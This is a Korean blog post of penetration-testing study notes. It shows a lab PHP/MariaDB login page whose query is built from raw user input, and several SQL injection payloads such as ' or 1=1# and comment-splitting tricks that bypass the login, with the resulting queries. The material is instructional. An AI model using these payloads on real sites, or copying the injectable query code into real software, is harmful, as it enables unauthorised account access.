Linux/모의해킹

SQLi 을 이용해서 로그인하기

GGkeeper 2022. 1. 26. 21:13

########
## SQLi 
########

여기서는 MariaDB를 기준으로 한다.

한 줄 주석 : -- , #
여러 줄 주석 : /* ~~~ */

MariaDB [mywebsite]> -- dfaskdfjas;dfa
MariaDB [mywebsite]> # ad,faksdfjasdf;asdfa;
MariaDB [mywebsite]> /*
   /*> asdfja;sdfj
   /*> adflkaj
   /*> fjadk'fa
   /*> fja
   /*> fja
   /*> */

http://192.168.108.101/index.html?id=bbs1'&m=list

Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/list.html on line 24


http://192.168.108.101/index.html?id='&m=list




로그인 부분에서 SQLi

userid : admin
userpw : 111111

userid=admin&userpw=111111

loginok.html
$userid = $_POST['userid'];
$userpw = $_POST['userpw'];
$query = "SELECT * FROM member WHERE userid='$userid' and userpass='$userpw'";
SELECT * FROM member WHERE userid='admin' and userpass='111111'


userid : ' or 1=1#
userpw : 1
userid=' or 1=1#&userpw=1

loginok.html
$userid = $_POST['userid'];
$userpw = $_POST['userpw'];
$query = "SELECT * FROM member WHERE userid='$userid' and userpass='$userpw'";
SELECT * FROM member WHERE userid='' or 1=1#' and userpass='1'



userid : admin
userpw : 111111
select * from member where userid = 'admin' and userpass = password('111111');  <-- admin 출력


userid : admin
userpw : refxcxfca
select * from member where userid = 'admin' and userpass = password('refxcxfca');  <-- 출력 없음

userid : ' or 1=1#
userpw : 1
select * from member where userid = '' or 1=1#' and userpass = password('1');  <-- 모든 행 반환
select * from member where 1; <-- 모든 행 반환


실습> SQLi 를 이용해서 로그인하기

userid : ' or 1=1#
userpw : 1

-- loginok.php --
// POST 방식으로 넘어온 userid/userpass 를 DB에서 비교한다.
//$query = "SELECT * FROM $TBNAME WHERE userid='$userid' and userpass=password('$userpw')";

$query = "SELECT * FROM $TBNAME 
          WHERE 
          userid='$userid' 
          and 
          userpass=password('$userpw')";
-- loginok.php --


아이디 : ' or 1 = 1 #
비밀번호 : 0000

$query = "SELECT * FROM $TBNAME
          WHERE
          userid='' or 1 = 1 #'
          and
          userpass=password('0000')";

아이디 : ' or 1 = 1 /*
비밀번호 : */#

$query = "SELECT * FROM $TBNAME
          WHERE
          userid='' or 1 = 1 /*'
          and
          userpass=password('*/#')";

아이디 : ' or 1=1 #
비밀번호 : ') or 1=1 #

$query = "SELECT * FROM $TBNAME
          WHERE
          userid='' or 1 = 1 #'
          and
          userpass=password('') or 1=1 #')";

아이디 : ' or 1=1 #
비밀번호 : 111111   <-- admin 의 비밀번호 입력

$query = "SELECT * FROM $TBNAME
          WHERE
          userid='' or 1 = 1 #'
          and
          userpass=password('111111')";